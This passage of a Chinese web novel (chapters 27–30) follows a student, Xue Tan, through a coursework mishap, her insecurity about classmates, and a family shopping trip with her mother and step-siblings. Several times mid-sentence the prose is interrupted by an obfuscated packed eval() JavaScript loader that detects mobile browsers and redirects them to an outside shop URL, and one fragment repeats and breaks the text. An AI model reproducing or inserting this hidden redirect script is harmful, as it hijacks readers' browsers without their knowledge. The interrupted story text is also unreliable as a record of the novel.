薛谭震惊,背过身打开手机翻出李名字......呸,李铭泽的聊天页面,然后点开头像默默修改备注。 李铭泽装作没有看见薛谭的小动作,“没有杯套是因为学校那家咖啡店和某个ip联名了,因为太火热不仅联名杯套很快被抢光,普通杯套也用完了。” “原来是这样。”薛谭点点头,“不过联名款不配联名杯套竟然是可以的么?” “大家主要还是冲着周边去的吧。不过——”李铭泽看向薛谭,目光隐隐带着抱怨,“以上这些可是我第二次讲了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734252|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是一点没听我刚才讲话啊。” 薛谭安抚:“那都是因为你声音太好听了,拜托,每次听你说话我满脑子都是你的天籁之音,根本听不进去内容欸。” 李铭泽张了张嘴,一时无言,只有泛红的耳尖暴露了他此刻不宁的心绪,可惜被张礼鸢突然叫走的薛谭没能注意到。 薛谭今天下午没课也没有社团活动,终于得闲的她先去操场跑了两圈。久违的运动让她浑身上下每一个毛孔都在自由呼吸,精神与身体一起放松的感受令人欲罢不能。要不是担心出太多汗冷风一吹会感冒,她真想就地再跑个三四圈。 电话铃声突然响起,薛谭以为是孟文霖,毕竟少男最近和她打电话的频率越来越高了。从地上捡起背包掏出手机,一看竟然是薛韵。 她立刻感觉好不容易放松下来的身体猛地一紧,几乎称得上小心翼翼地背好书包接听电话。 “噢,桃桃啊。”那边似乎在忙些什么,一句招呼过后呼啦呼啦响了一会,而后才再次送来熟悉的声音:“最近忙不忙,周末有没有时间回家吃个饭?” 薛韵不喜欢和薛谭在电话里讲事情,她觉得那样表达不清晰,而且看不见女孩的表情会让她经常担心自己哪句话会不会说的有歧义或者太严厉。 薛谭一边猜想女人找自己会有什么事情,一边回应:“我周末要出去看电影,周六回去可以吗?” 那边停顿两秒,“想什么时候回来都可以。周五回来吧,周五回来住一晚。” “好的。” 电话两头都静静看着通话页面,最终是薛韵率先挂断了电话。 初冬冷风忽然吹过来,不过好在是午后,头顶暖阳还算强烈,薛谭并不觉得十分冷,但还是裹紧了厚外套,一路走回家。 尽管盛晚买了电动车,不过薛谭只有在上课快迟到的时候会骑,平时还是走路居多。除了喜欢在路上发呆以及欣赏沿途的风景以外,另一个重要的原因是觉得这样散散步也算是运动了。 因为知道自己生活作息习惯不健康,所以薛谭总是会刻意多吃些蔬菜水果,多多运动来保持健康一点的身体,身体素质也比同龄人要强一些。别看她脸色苍白黑眼圈重的像熊猫,但可是能一拳抡飞一个盛晚的。 孟文霖和盛晚都把《无头boss爱上我》上映的消息发过来问她要不要一起看,她走在路上纠结了一会,最终先给孟文霖发消息:【好啊,你周五就回来吧,正好陪陪孟阿姨,她该想你了。】 之后又给李铭泽发消息:【周末我有事,你自己去看吧。】 回到公寓打开门,迎面而来便是全副武装拿着鸡毛掸子的盛晚,他拉下口罩,朝薛谭露出甜蜜幸福的微笑:“谭谭回来啦。” 她皱眉:“你干嘛呢?” 盛晚摘掉手套,干净白皙的手替薛谭拿下书包,解释:“我做家务呢,今天下午没课,我想着把家里好好清理一遍。” 薛谭嫌弃他身上脏兮兮的,离他远了些,“前几天不是才打扫过吗?”她无语:“而且家里也没有脏到需要全副武装去打扫的地方吧。” 盛晚羞涩一笑:“我把床、沙发还有柜子底下全部擦了一遍。” 薛谭:“......神经病。” 27. 第 27 章 周五最后一节课是心理健康教育课,需要交一份对于“我”的剖析。 “什么什么什么?”薛谭欲哭无泪地攥住南采的衣袖,“我完全忘记了呜呜呜。” 药丸啊,本来作业都是宿舍长收齐交给学委,而薛谭因为不住在宿舍所以没办法和别人一起觉,学委本来就因为她次次交作业都是最晚对她印象不太好,这回肯定!绝对!会直接讨厌上自己的。 “没事没事。”南采拍拍薛谭的手让她先不要慌张,“学委请假了,作业交给卓钦,老师没要求字数,你现在随便写点就好。反正只是考查课。” “好好。”薛谭赶紧从书包里掏出纸笔准备奋笔疾书,下一秒一张写的满满当当的作业纸突然出现在眼前。 盛晚说:“作业我帮谭谭写好了,先交过去吧。” 薛谭愣了一瞬,勃然大怒:“你怎么不早点跟我说?”她生气,也不管盛晚的解释,夺过作业写好自己的学号姓名就跑过去交给卓钦。 “对不起对不起,我交的太晚了,真的非常抱歉!” “没事啦没事啦。”张礼鸢摆摆手,“又没迟,不用太在意。”她从万分愧疚的薛谭手里接过作业递给身边的卓钦,看着满脸不安的女孩,安慰:“放轻松,我也刚刚写完交上去呢。” 薛谭小心翼翼撇了一眼卓钦,瘦瘦高高的女生却只是低头整理作业,并不看她。 完了完了,卓钦一定是生自己的气了,她一定是讨厌自己了。而且不单单是因为她今天交作业交完了,从上次跟剧本时两个人见面,卓钦的态度就不对了。 薛谭又不是傻子,别人对自己到底是善意还是恶意当然分得清楚。 所以说到底是为什么啊啊啊为什么会变成这个样子,她到底做错了什么,为什么要讨厌她,是因为她的性格吗?还是因为她做了什么事?明明之前还那么热情的。果然她是个很糟糕的人吧,她就知道,她就知道只要和她稍微走的近一点就一定会讨厌她的! 真是的,为什么要这个样子呢,既然不喜欢她一开始就不要和她接触不要对她那么热情啊,自作主张闯入她的世界又自作主张离开......这种事情果然无论是小时候还是现在都一如既往的讨厌啊! 薛谭眼里控制不住蓄起泪水,埋头拖着沉重的步子回到座位上。 南采甚至不需要抬头就能感受到源源不断从旁边人身上散发出来的暗沉气息,划视频的动作顿住,虽然不知道发生了什么事但她犹豫两秒还是决定安慰一下,然而刚刚转身便看到了女孩在偷偷抹眼泪。 她赶紧正回身子当作没有看见,内心两个小人不断争执拉扯。 第一个说:朋友哭了你难道不应该安慰一下吗? 第二个说:这种时候她肯定希望自己一个人静一下啊。 第一个无情拆穿:别找借口了,你就是嫌麻烦还嘴笨不知道该怎么说。 ...... 南采被吵得头疼,晃晃脑袋将一切杂念全部赶出脑海,从书包里拿出高数课本开始做题。 短短的题干读了三遍没有读进去,内心一直记挂着身边无声落泪的女孩。南采握紧笔,手心冒出汗,她深呼吸两口气,内心纠结纠结再纠结后,终于啪嗒一声放下笔侧过身,与此同时,上课铃声突兀地响起。 伴随着上课铃声传入耳畔而闯入眼帘的,是忽然坐过来的张礼鸢。 南采怔然望着将薛谭抱进怀里细心安慰的张礼鸢,张了张口想要弥补一般说些什么,嗓子却像是堵了一团棉花不上不下,一个字也讲不出来。放在腿上的双手不自觉握紧成拳,于是最后她还是转回了身,什么都没有说,就像认识的短短几个月内许多次欲言又止。 “哎呦,你别哭啊,这有什么的,上课才把作业交给老师,你在上课前交给卓钦不是很正常嘛?我也是在你前一秒才交上去的啊。这没啥的,别哭了别哭了噢,你哭的我都心疼死了。”张礼鸢连忙掏出纸给怀里的女孩擦眼泪。 薛谭狼狈地倒在张礼鸢怀里,接过纸擦干眼泪努力憋住哭声。她哭得脸有些红,其实更多是因为羞耻,毕竟因为这么一点点小事就哭鼻子实在是太丢人了。 可她确实忍不住,她真的好伤心好伤心,她真的很害怕被人讨厌。 薛谭头快埋到桌子下面了,握着一团纸好不容易把脸上收拾好后才慢吞吞坐直身子。她有些不好意思,不敢抬眼看张礼鸢,同时又担心和卓钦玩的好的张礼鸢会不会也讨厌上她了。她极小声辩解:“不是因为那个哭。” 不过张礼鸢还是听清了,她看上去很为此松了一口气,拍拍胸脯,“那就好,我还以为是卓钦惹你不开心了。”她说:“我跟南采都可担心你了。” 突然被提到的南采身子一僵,掀起眼皮很快看了两人一眼,继续做题。 “对不起对不起对不起。”薛谭愧疚得恨不得当场来个土下座向卓钦张礼鸢还有南采跪地道歉。 求求了,觉得她哪里做的不好就指出来,千万不要一言不发就讨厌她好吗?她真的是一个超级玻璃心一刺激就要原地去世化成脏兮兮的灰尘随风飘散的人...... 啊不不不,还是不要指出来了!虽然讨厌她这件事很令人讨厌就是了......但是当面指出来她的错误并说“薛谭,你这个地方做的很糟糕啊”什么的,光是想想就超级无敌巨可怕了啊喂!与其让薛谭听到别人骂自己,还不如直接叫她滚出地球。 好不容易熬到下课,薛谭立刻拽住南采的衣袖向女孩求证:“南采,南采你一定没有讨厌我对吧?” “啊?”南采简直被女孩一句话搞得心脏骤停,然而在对上那双可怜又充满依赖的眼眸时,她便反应过来女孩并没有意识到她上课前反反复复犹豫不决的态度。一时间心情复杂极了,不知道是庆幸还是愧疚,南采勉强笑了笑:“我怎么可能讨厌你呢?” 下一秒,原本还依靠着自己满脸希冀的女孩霎时间石化,眼看便要碎裂。顿时,负罪感涌满南采的胸口,她连忙握紧了薛谭抖个不停的手,保证:“我绝对没有讨厌你。”相反,她甚至很喜欢薛谭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737874|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛谭身上有一种南采几乎从未在身边人身上见过的纯粹,那种纯粹只属于被保护在纯白无暇世界里的人,从未经历过复杂的人际关系,对于某些她们之间心照不宣的事情往往有种异乎寻常的懵懂与执着。 刚开始还不熟悉时,南采不免为其感到有压力,甚至想要远离。然而她相信,无论是谁,只要和她一样曾被女孩那样真挚地道过歉,内心深处都无不可自拔地因为而变得柔软,想要接纳她。 或许很多人不想像薛谭一样“傻”,但却没有人不想和薛谭这样单纯又真诚的人相处。 得到南采的保证后,薛谭狠狠松了一口气。不管怎么说她还没有糟糕到所有朋友都要离开自己。 南采......应该算是自己的朋友吧?毕竟她们的友谊可是南采亲口认证过的。 嗯!她们一定是朋友!南采也一定不讨厌她! 不过尽管有南采和张礼鸢安慰自己,薛谭还是难以避免因为卓钦感到失落。 回家的路上盛晚一直在为自己没有提前告诉薛谭他帮她写好了作业而道歉,然而深感今日大失败的薛谭已经没有精力去为这件事生气了,只摆摆手让他滚远点。 因为不想在万家吃饭,薛谭回到家后玩了一会手机用过盛晚做的美味晚餐后,才动身前往万家。 天已经暗了下去,薛韵提出让万父来接她,不过被她拒绝了。虽然现在看盛晚不怎么顺眼,但如果让薛谭在盛晚和万父之间二选一的话,她肯定毫不犹豫选择前者。 薛谭穿的很厚实,她坐在电动车后座环住盛晚纤细的腰肢,将脸贴在他的后背躲避扑面袭来的冷风。 “谭谭。”盛晚担忧的声音随着风一起灌进薛谭耳中,“我想送谭谭到那里好不好,天都黑了,谭谭自己一个人我会担心的睡不着觉的。” 万家有薛谭的衣物,她只揣了只手机出门。蹭蹭盛晚热烘烘的后背,捏捏盛晚块块分明的腹肌,薛谭坚定拒绝:“我一路坐地铁,能有什么事,不用担心啦。” 电车到达地铁口,盛晚停下车把薛谭抱在怀里,下意识微微收紧力道:“可我就是担心嘛,担心你哪里是说忍住就能忍住的。求求你了谭谭,让我陪你一起去好不好,或者我离谭谭远一点绝对不让谭谭看见我好不好?谭谭谭谭......” 盛晚一直抱着薛谭黏糊糊撒娇,薛谭贪恋少男温暖的怀抱,再加上下了地铁后还要走一段路才能到达万家,既然有办法保证自己更安全,她也不会弃之不用,最后还是同意了少男跟上来。 盛晚很开心,但还是记得薛谭说的不能在外面亲她,于是只是低头亲昵地贴了贴她的脸。 从薛谭家到万家的地铁需要转一次站,两条地铁线人都不多,薛谭坐地铁习惯坐在最后一个车厢里,她与盛晚两个人缩在最角落的座位里。 “对了谭谭,周末要一起去看《无头boss爱上我》吗?”盛晚晃了晃薛谭的手。 薛谭愣了一瞬,想起来自己还没有和盛晚说,“不用了,我和孟文霖一起去看。” 28. 第 28 章 很多时候,盛晚都能无比清楚感受到薛谭对于孟文霖的偏爱。 比如因为不希望孟文霖为了她放弃更好的前程而强行逼迫他选择更好的大学,再比如因为不想让孟文霖受委屈所以和他分手,还有两人交往过后薛谭一次又一次在他和孟文霖之间选择了后者。 如果先和薛谭谈恋爱的人是盛晚,想必女孩无论如何都会让他留在她的身边——当然,他也很为此感到幸福。同样的,如果薛谭在与他交往的期间喜欢上了孟文霖,她一定会直接去和孟文霖接触,只留他独守空房。 薛谭会考虑孟文霖的感受,但是从来不会把盛晚放在心上。 三年来,盛晚多少次暗中窥视着薛谭,伴随着见到心爱之人的强烈幸福情绪一同涌上来的,是滔天的忌恨与不甘。忌恨那个陪在薛谭身边的,名叫孟文霖的男生,不甘于自己只能像只见不得光的臭老鼠一样躲在墙后,而孟文霖那个骚气冲天的贱男人却能牵着她的手,一起走在阳光下。 哪怕现在陪在谭谭身边的人是自己,盛晚仍旧每日每夜担惊受怕谭谭会扔掉自己。他几乎是抛弃一切来到了薛谭的身边,假如拼命至今的结局只能是变回无法被女孩注意到的垃圾,盛晚真的无法保证自己还能像现在一样强忍住汹涌翻滚的醋意,温温柔柔地说:“真是太好了呢,谭谭很久没和他见面了吧,毕竟是那么多年的好朋友啊,这回要好好玩呀。” 薛谭正在清游戏日常任务,不甚在意应了一声。 到达目的地,她挽着盛晚的胳膊,整个人贴在他身上一起走出去。 明明从公寓出来骑着电动车时风还不怎么大,现在走出地铁站直接一股强冷风砸过来,薛谭赶紧躲在盛晚身后。盛晚也尽量展开身体护住身后的女孩,两人就这么慢悠悠往万家所在地方走去。 “喂,盛晚啊。”薛谭戳了戳盛晚的腰窝。 少男身体僵硬一瞬,又扭捏两下,“怎么了呀谭谭?” “你有驾照吗?”她往前走几步与少男侧身并行,双手插进他暖烘烘的口袋里被他握住。说起来他还真是一只神奇的男友呢,冬暖夏凉,舒服的很。 “有啊!”盛晚立马转过身惊喜地看着薛谭,一双点漆黑眸在夜里反而亮晶晶的,薛谭仰头去看,比天上的星星还要亮。 他一只手插在兜里握住薛谭的手,另一只手则高兴地把相对而立的女孩搂在怀里,下巴靠在她毛茸茸的发顶轻轻蹭了蹭,语气温柔而认真:“谭谭,我想买辆车放在小区楼下可以嘛?这样以后咱们出去玩就能直接开车了。” 他似乎总是轻轻地与薛谭接触,无论是拥抱、亲吻还是别的行为,好像光是做到这种程度就已经花费他很大勇气了似的。 在薛谭面前,盛晚像是一株攀附着她生长的菟丝子,柔弱又无能,他没有办法独立地做出任何决定,只能可怜兮兮地望着她,依赖着她,恳求她为他拿主意。 昏暗的路灯下,他们两个的身影相互交叠,不分彼此。 “好啊。”薛谭踮脚吻住盛晚,温热的呼吸喷洒在她脸上,他身上总是香喷喷的,带着花草的清香,每每靠近时,宛如走进了花团锦簇的仲夏夜,风都是醉人的。 唇瓣微微分离,她抬眸与他对视,相近的眼眸互相倒映着彼此,她感受到他痴迷而浓稠的爱意。 风似乎都在偏爱这个美丽的少男,轻柔勾缠起他的发丝,温柔地像是一幅画。 于是薛谭拿出双手,捧住盛晚的脸颊,像无数次他亲吻她一样,轻轻亲吻他的额头,“我喜欢你。” 低下头的盛晚缓缓睁大眼睛,他觉得自己的胸口好像被挤满了泡沫,心尖颤啊颤,爱就淌出来了。 回到万家正好八点半,薛韵开的门。 两人相顾无言,薛谭先低下了头,薛韵开口:“冷不冷,洗洗脸就回被窝躺着吧。” 薛谭觉得说“噢”不好说“好的”也不好,但又觉得什么都不说更糟糕,犹豫间薛韵已经给她换好了鞋。 女人一只手搭在她肩膀上,半推着她往里走,“明天我们一家人出去逛街吧。” 嗯? 薛谭扭头看她,女人近些年在工作上操劳许多,几根银发隐藏在黑发之中,眼角的皱纹也加重了。她扣了扣手指,纠结着开口询问:“出去干什么呀?” “给你买点东西。”薛韵目视前方,始终没有看薛谭。 薛谭抿了抿唇,说:“我没什么需要的。” “怎么没有啊。”两人上楼,薛韵放下手,轻飘飘说:“给你换个眼镜,添点新衣服,上大学了也得背个像样点的包吧。” 薛谭忽然抬头直勾勾盯着女人瞧,“你直接在网上给我买就可以的。” 薛韵不再说话,垂眸为薛谭打开房间门,“今晚早点睡吧,明天还要早起呢。” 心里一下子因为女人漠然的态度变得闷闷的,薛谭赌气:“我又不去,想什么时候睡就什么时候睡。” 薛韵无奈:“桃桃——”她反手关上门按住女孩的双肩把她推到床边,牵着她的手坐下,“我好不容易抽出来的一天时间,咱们一块去呗。反正你明天也没事,就去街上看看,有喜欢的就买,没喜欢的就当散散心了。” 薛谭把头撇过一边,“我没什么好散心的,我心情很好。” 低哑的笑声从女人嗓子里钻出,转瞬即逝,“因为你那个男朋友?我听晨霜说他长得很好看。” “才不是因为他!”薛谭立即反驳,“我最近可忙了......”她说了一句便眼神飘忽着卡壳了。 薛韵似乎心情很好的样子,挑眉略微低头盯着女孩的脸,笑着问:“哦?是嘛。我们桃桃最近在忙什么啊忙的那么开心?” 薛谭快速眨眨眼,有些脸热:“呃......就是、就是社团里的事......”她来回揪着两边的衣袖,声音越来越小,几乎低不可闻。 好在薛韵早已经被薛谭训练了一双超强耳朵,无论女孩声音多么小,只要她说话了就能听清楚,“我听之宁说你加入了话剧社,在里面都干些什么?” 孟之宁是孟文霖的母亲,孟文霖把薛谭的事情告诉孟之宁,孟之宁再转告给薛谭,这是四个人之间心照不宣的事情。 “就是,写剧本跟剧本这些,有两个剧本排练时需要编剧到现场一起跟进,所以会比较忙......不过也没有非常非常忙就是了,因为一起负责的还有别的同学,我只需要一周去两次就可以了。” “什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742060|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去?”不知道是不是因为在公司里雷厉风行惯了,薛韵问话有时候说的快了就像是在审讯犯人,要不是薛谭已经习惯了女人这个样子,她一定会被吓得一句话也说不出来。 “中午啊,中午吃过午饭后在午休的时间排练。” 薛韵又问:“那你中午不睡觉下午上课不会困吗?” 当然不会,薛谭想,她只要不听课就不会困。 “不困。”她摇摇头。 母女两人说了一会薛谭的校园生活后,薛韵便让她好好休息,起身离开了。 晚上抱着玩偶躺在床上努力酝酿睡意的薛谭猛然反应过来—— 等等!她不是说她不去逛街的嘛! 可恶!又被她带偏了! 第二天早上被闹钟叫醒的薛谭满身怨气走下楼,他们几个人都吃的差不多了,薛韵在首位喝咖啡,见到薛谭后也让万父给薛谭倒了一杯咖啡。 “她一个小孩天天喝那么多咖啡。”万晨露在薛韵面前话就多了。 薛韵轻笑一声,没有说话。 “她都十九了还小孩呢。”喝着牛奶的万晨霜时不时掀起眼皮瞧薛谭。 薛韵在场,薛谭懒得搭理小男孩,一声不吭低头默默用早餐。 万晨霜忽然发出一声懊恼的低叫,薛谭不明所以望过去,便见到黑卷发大眼睛宛若洋娃娃般精致的男孩露出一个比哭还难看的笑容:“对不起姐姐,我不该那样说。” 薛谭喝粥的动作顿住,万晨露则直接一口茶喷男孩脸上。 时间静止,众人无言。 “万晨露!!!”万晨霜暴起,端起牛奶就要往万晨露身上泼。 万晨露猛地瞪大眼睛,吓得慌忙躲开,姐弟俩不依不饶都不愿意让步,在客厅打闹起来。 接收到薛韵探寻的视线,薛谭挠挠头同样满脸不理解:“我也不知道他发什么神经。” 几个人倒腾倒腾终于在十点半出门。 因为薛谭早饭吃的比较晚,所以到达商场后薛韵先是带着薛谭一起买了两双鞋,几人走走停停逛了好一会后才动身找餐厅吃饭。 “桃桃。”副驾驶的薛韵回头看向薛谭,“中午想吃什么?” “不是啊。”万晨露抱着双臂一歪身子挡住薛谭:“我也是你女儿,你不给我买衣服鞋子就算了,起码问问我想吃什么吧?” “晨露啊。”正在开车的万父不赞同开口:“你想吃什么不能吃,非得抢着今天了。你是姐姐,让一下妹妹。” 万晨霜不满道:“那我更小,平时怎么不见你让万晨露让一下我呀!” 没人搭理他。 薛韵和万晨露之间的关系比起继母和继女,更像是职场上的同事,女人罕见的亲昵态度让她忍不住侧目,倒也配合地询问对方:“你想吃什么?” 万晨露对上薛韵那双无波无澜犹如人机一般的眼睛,深感她在自讨没趣,撇撇嘴让开身子,斜眼睨了一眼女孩,“想吃什么呢薛谭?” 这样称得上温馨的场合令薛谭有些陌生,余光可以瞄到万晨露带着笑意的脸庞,抬眼是耐心等候回答的薛韵。 到嘴的“都可以”拐了个弯回去,她捏紧衣角,小声说:“烤肉吧......” 29. 第 29 章 “薛......姐姐,我们去买奶茶吧。”下午逛街时,万晨霜拉住薛谭的衣角请求。 走在最前面的薛韵和万父正在谈话,落后两步的万晨露低头看手机,他们两个落在最后面。 薛谭今天心情不错,罕见地对男孩多了一丝耐心,“这里哪有卖奶茶的。”要是平常逛街玩乐倒还好,可是几人现在在大商场里,不是卖女装男装的,就是卖金银饰品,根本找不到奶茶店。 “负一楼有美食街,我们一起去吧。”他看上去有些奇怪,声音不似往日那般冷硬,反而扭扭捏捏的,配上他那双不断眨巴的大眼睛,竟有几分撒娇的意味。 “不要。”薛谭无情地从他手里抽回衣角,快走几步想要跟在万晨露旁边,却忽然被男孩紧紧攥住手。 她回眸看去,脸色已然冷下。 万晨霜赶忙松开,似是对此也十分惶恐不安,低下了头走近她,低声恳求:“姐姐,我有话想和你说......” “怎么了你俩?”万晨露的声音忽然从前方传来,她目光带着审视意味地在两人之间来回逡巡。 薛谭不想和万晨霜扯上关系,赶紧撇过脸不说话。而万晨霜则难得没有往日在万晨露面前的趾高气昂,如实说:“我想和薛谭姐一块去买奶茶。” “天天喝,胖死你。”万晨露好像在工作,鄙夷丢下一句话就继续低头扣手机了。 据薛谭所知,与六岁时被万父收养的万晨露不同,万晨霜的父母是万父好友,他刚刚出生不到两个月便父母双亡,被万父接回了家当作亲生儿子一样抚养。 由于已经将还是个小女孩的万晨露当作了继承人培养,所以万父对无需继承家业的万晨霜要更为放纵宠溺一些,再加上是故人之子,心中难免怜惜,于是不知不觉中便将男孩给宠坏了。 万晨霜性子倨傲,眼高于顶,甚至连真姐姐万晨露都不放在眼里。对于突然来到万家且不惯着他的薛谭更是厌恶至极。今年还好一些,前些年那可真是一见面要么互不搭理,要么就是对薛谭一阵冷嘲热讽。 男孩突如其来的服软令薛谭有些惊讶,她搞不懂是他要说的事多么重要所以才让他暂且退步,还是因为年纪大了稍微懂点事了......?好吧,应该是前者。 反正等会薛谭也不想“被”薛韵买衣服,事实上,刚才她一路都在纠结万一薛韵问起来自己喜不喜欢这件衣服或是喜欢哪件衣服时该怎么回答,两人很久之前因为这件事闹过一次矛盾,想来薛韵是能理解她的临时逃脱的。 于是薛谭推了推万晨霜,“那你去说。” 万晨霜一噎,一副不太想去的样子,正当薛谭做好了与他推拒的准备时,男孩不知想到了什么突然笑起来,不顾薛谭疑惑的眼神就几步小跑到前面去了。 走在最后的薛谭放缓步子,她看见薛韵转过身来,两人中间隔了一段距离两两相望,分明女人没什么表情,薛谭却好像听到了她的叹息声。 她心里一堵,有些无措,下一秒便见到女人撑起笑容走过来对她说:“走那么多路也累了,你先和晨霜去美食街玩会吧,正好晨露要买酒,一会我们买完衣服下去找你们。” 今日的薛韵格外宽容。 薛谭双手背在身后,移开目光,“哦。” “走吧走吧!”万晨霜很兴奋地拉着薛谭离开这里。 今天不是什么节假日,商场人很少,走进电梯只有薛谭和万晨霜两个人。 男孩今天穿了一件墨绿色毛衣外套,衬得原本的雪肤花貌更加惹眼,里面的白衬衫红领带又为其休闲装扮添了一份贵气。脚上踩着的棕色小皮鞋走起来梆梆响,修长如玉的手指自然垂下又抬起,白里透粉的指尖划过几行按键,最后按下“B1”。 他的眉毛有些细,但是颜色很浓,像他墨色堆积纠缠的黑色短发,末尾微微打着卷,每一个弧度都是完美。睫毛长的惊人,眼睛也大的惊人,这样突出醒目的眉眼以及精巧的翘鼻和红唇,让他静下来时宛如上世纪典藏在橱柜里名贵的人形玩偶。 “你看我做什么?”话说出口,万晨霜就后悔了,想起今日的目的,他立即想要张口解释,然而薛谭却不给他缓和的机会。 她的视线一路向下落在他的手上——准确来说,是落在左手无名指指腹的戒指上,“你学习怎么样?” 万晨霜一愣,完全没有想到薛谭会问这个问题......学习上的事情从前万父还会过问两句,可是自从和薛韵结婚后,万父就成了只会对着薛韵摇尾巴的哈巴狗,满脑子都是薛韵薛韵薛韵。 薛谭问这个问题就像是一个真正的姐姐在关心弟弟的学业,可他很清楚薛谭关心谁都不会关心自己,因为他在薛谭心中就是一个可有可无的人,“还行......你问这个干嘛?” 薛谭无所谓地收回视线,“该上学的年纪就好好学习,整天打扮的花枝招展的又不能给你高考加分。” 万晨霜其实没那么了解薛谭,没办法准确猜出来女孩这句话的意思,却还是忍不住想到她是不是看穿了自己的心思,不免心中一紧,便将自己琢磨了一路的话讲出来:“对不起......姐姐——” 刚说了几个字,就被薛谭打断,“还是叫我薛谭吧。” 电梯到达地下一楼,薛谭率先快步走出去,万晨霜因为她的话微微怔住,反应过来慌忙跟在女孩身后,“为什么?你之前不是还说我喊你名字不尊重你吗?” 薛谭无语撇了男孩一眼,“我什么时候说过?” 万晨霜想了想,她确实没明确表达过这种意思,可那日对他的威胁不正是叫他对她放尊重点吗? 薛谭边走边说:“你想喊我姐姐,那也得喊晨露姐姐姐。” 果然万晨霜跳脚:“她成天打我才不是我姐呢!” 薛谭耸肩:“那你也别喊我姐了。” 于是万晨霜反应过来,薛谭这是担心万晨露心里听了会不舒服。他想说万晨露才不是会在乎这点小事的人,可这样就显得薛谭多么敏感似的,想了想说试探着说:“那我以后喊、喊你桃桃姐,喊万晨露晨露姐怎么样?” 薛谭恶寒:“好恶心。” 万晨霜一秒破功,大喊大叫:“薛谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749445|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 薛谭可不惯着万晨霜,停下来买了一盒柿饼,“所以呢?你到底要和我说什么?”她专注地盯着做柿饼小姐姐手上的动作,似乎只是随口一问。 万晨霜刚才好不容易鼓起来的勇气被薛谭几句嘲讽给全部弄没了,他也要了一份柿饼,没好气地拖延:“那我到底该叫你什么?” “什么都行。”薛谭目不转睛,顿了一会,还是说:“就叫我薛谭吧。”反正两人本来就不怎么亲近,以后估计也不会有什么往来。 万晨霜双手抱胸,鼓起腮帮子,故作可爱:“可是我想叫你桃桃姐。” 薛谭要被恶心死了,她接过热乎乎香喷喷的柿饼赶紧吃下一块治愈一下自己,“行啊,那你也得跟我一起喊晨露姐。” 男孩不情愿应下:“......好。” 虽是万晨霜提出的喊她桃桃姐,然而真的开口时反而别扭地喊不出来了,眼看快到奶茶店,他拉着薛谭在休息区坐下,“我们在这歇会吧,把柿饼吃完再去买奶茶。” 薛谭举起手上的盒子:“我已经快吃完了。” 万晨霜震惊:“你怎么吃那么快!”他把自己的那一份柿饼分给薛谭一半,让她在这里等一会,而后又像是给自己打气一般买了许多好吃的抱回来放在桌子上。 “我想和你说......对不起。” 有了一个好开头,下面就顺畅多了。无非是青春期男孩为自己曾经的叛逆和不懂事道歉,并保证以后一定会好好把薛谭当作姐姐一样尊敬,绝对不会再惹她生气。 薛谭有些不能理解:“这些话你和晨露姐说过吗?” 见男孩面红耳赤说不出来话,她继续反问:“晨露姐虽然不是你亲姐姐,但是从小看着你一起长大,在所有人眼里你们就是亲姐弟。你天天万晨露万晨露地喊她,丢脸是其一,她心里也是很伤心的。” 她头一回如此耐心地和万晨霜讲话,“能明白这些吗?你该做的从来不是和我道歉,而是和晨露姐打好关系,做一个乖巧的好弟弟,少让晨露姐生气。况且——”她犹豫两秒,还是决定说出:“你以后只能仰仗晨露姐生活,她就是你的天,男的一生所求的无非是被母亲宠爱,被姐姐宠爱,将来结婚后被妻子宠爱。” 万晨霜脱口而出:“那你呢?” “我又不是你姐。” 我又不是你姐。 万晨霜本应该为这样无情的话伤心愤怒,然而此时此刻,他望着薛谭宁静的侧颜,心中忽然升起一股诡异的平和。是啊,她又不是她姐姐,别说不在一个户口本上了,甚至都不住在一个屋檐下。 女孩眼珠转了转,在看过来的之前,万晨霜骤然心虚地低下头,美食街来来往往的游客吵得他头晕眼花,双手张开又握紧,最后又局促地张开放在膝盖上,结结巴巴说:“万......晨露姐才不会喜欢我,她天天骂我。” 薛谭安慰:“你乖乖听话,做一个好弟弟她就不会骂你了。” “真的假的?”万晨霜不信。 薛谭想象了一下,改口:“骂你也是因为爱你。” 30. 第 30 章 